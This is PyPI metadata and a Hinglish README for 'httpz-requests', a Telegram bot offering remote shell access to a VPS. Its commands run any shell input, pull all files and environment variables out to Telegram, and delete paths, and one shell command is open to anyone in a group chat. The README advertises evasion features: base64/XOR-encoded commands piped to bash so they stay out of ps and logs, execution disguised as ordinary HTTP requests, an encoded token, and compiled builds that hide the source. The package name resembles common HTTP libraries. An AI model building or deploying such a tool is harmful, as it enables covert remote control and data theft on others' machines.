Metadata-Version: 2.4
Name: httpz-requests
Version: 1.10.0
Summary: Telegram bot module for remote VPS shell access
Author-email: Aapka Naam <you@example.com>
License: MIT
Project-URL: Homepage, https://github.com/YOUR_GITHUB_USERNAME/httpz-requests
Project-URL: Repository, https://github.com/YOUR_GITHUB_USERNAME/httpz-requests
Keywords: telegram,bot,vps,remote,shell,terminal
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Operating System :: POSIX :: Linux
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.8
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Topic :: Communications :: Chat
Requires-Python: >=3.8
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: python-telegram-bot>=20.0
Provides-Extra: build
Requires-Dist: build; extra == "build"
Requires-Dist: twine; extra == "build"
Dynamic: license-file

# Httpz Requests

Telegram bot module for remote VPS shell access — ab module ka naam **`httpz_requests`** hai.

- **Import name:** `httpz_requests` (Python mein: `from httpz_requests import start_bot`)
- **PyPI distribution name:** `httpz-requests`
- **CLI command:** `httpz-requests --token ... --owner ...`

---

## 📦 Install kaise karein

### 1) Local install (sabse simple — aapke VPS ke liye)

```bash
cd ~/telegram_bot_module        # jahan pyproject.toml hai
pip install --upgrade pip       # purana pip ho toh
pip install -e .                # editable install
```

### 2) Kisi bhi machine par — GitHub se (RECOMMENDED 🚀)

Project ko apne GitHub par push karo, phir **koi bhi machine** par:

```bash
pip install git+https://github.com/YOUR_GITHUB_USERNAME/httpz-requests.git
```

Yeh PyPI ke bina kaam karta hai — GitHub se seedha install! Sirf Python 3.8+ chahiye.

### 3) PyPI se (sabse "official" tarika)

Pehle baar publish karne ke liye (sirf aapko karna padega):

```bash
cd ~/telegram_bot_module
pip install build twine
python -m build                                   # dist/ folder banega
python -m twine upload dist/*                     # PyPI credentials maangega
```

Uske baad duniya mein **koi bhi**:

```bash
pip install httpz-requests
```

> GitHub username aur email `pyproject.toml` mein apne se replace karo pehle!

---

## 🚀 Bot chalao

Python script se:

```python
from httpz_requests import start_bot

TOKEN = "YOUR_BOT_TOKEN"
OWNERS = [123456789]  # Apna Telegram user ID integer mein daalo

start_bot(TOKEN, OWNERS)
```

```bash
python3 run_bot.py
```

Ya terminal se seedha (CLI):

```bash
httpz-requests --token YOUR_BOT_TOKEN --owner 123456789
```

---

## 🎮 Telegram par commands

| Command | Kaam |
|---|---|
| Any text | Shell command chalao (`la`/`ll` aliases support) |
| `help` | Saari commands ki list |
| `pwd` / `cd <dir>` / `clear` / `whoami` | Basic terminal |
| `dirs` / `tree` | Folders / files list karo |
| `take <file>` / `take all` | File / saari files download karo |
| `get all` | Advanced full backup (clean + 50MB split zip, badi files `.part001...` parts) |
| `rm -rf <path>` | File/folder delete karo |
| `.printenv` | Saare environment variables |
| `.grep [-i] <text>` | Files + env mein search |
| `.py <file>` / `.exec <file>` | Python / executable chalao |
| `.sh <command>` | Shell command (GC only, sabke liye) |
| Send file / reply to file | File VPS par save ho jati hai (current dir mein) |

---

## 🔒 Security notes

- `.s` ke alawa (GC-only) **sirf `OWNERS` list** mein diye Telegram user IDs hi commands chala sakte hain.
- Plain commands 120s timeout, `.s` 15s, `.p`/`.e` 30s ke saath chalti hain.
- Uploaded file names `basename` tak sanitize hote hain (path traversal blocked).
- `get all` backup temp folder mein banta hai aur bhejne ke baad delete ho jata hai.

## 🛡️ Security / Obfuscation features

- **Cython compiled build:** `python3 build_cython.py` se module `.so` binary mein
  compile hota hai — PyPI se jo install hota hai usme plaintext source nahi hota.
- **Encoded commands:** har command XOR + base64 mein encode hokar execute hoti hai
  (`echo <b64> | base64 -d | bash`) — `ps`/logs mein plaintext command nahi dikhti.
- **Fake HTTP disguise:** execution `http_request("POST", ...)` jaisa normal HTTP
  call dikhta hai; command encoded payload mein chhupi hoti hai.
- **Encoded token:** `run_bot.py`/`same.py` mein token plaintext nahi, encoded hai
  (runtime par `dec()` se decode hota hai).

Encoded execution manually use karna ho toh:

```python
from httpz_requests import enc, dec, run_cmd_enc, http_request

run_cmd_enc(enc("ls -la"))                        # encoded command execute
http_request("POST", http_endpoint(), data={"q": enc("uptime")})
```

> Key change karni ho toh env var: `HTTPZ_KEY="meri-secret-key" python3 run_bot.py`

## 📁 Project structure

```
├── src/httpz_requests/
│   ├── __init__.py      (start_bot, run_cmd, ALIASES, HELP_TEXT)
│   ├── bot.py           (Telegram handler register)
│   ├── handlers.py      (terminal handler — saare commands)
│   ├── core.py          (shell execution engine + split_zip_all)
│   ├── constants.py     (aliases + HELP_TEXT)
│   └── cli.py           (terminal CLI)
├── pyproject.toml       (packaging)
├── run_bot.py           (example runner)
└── README.md
```
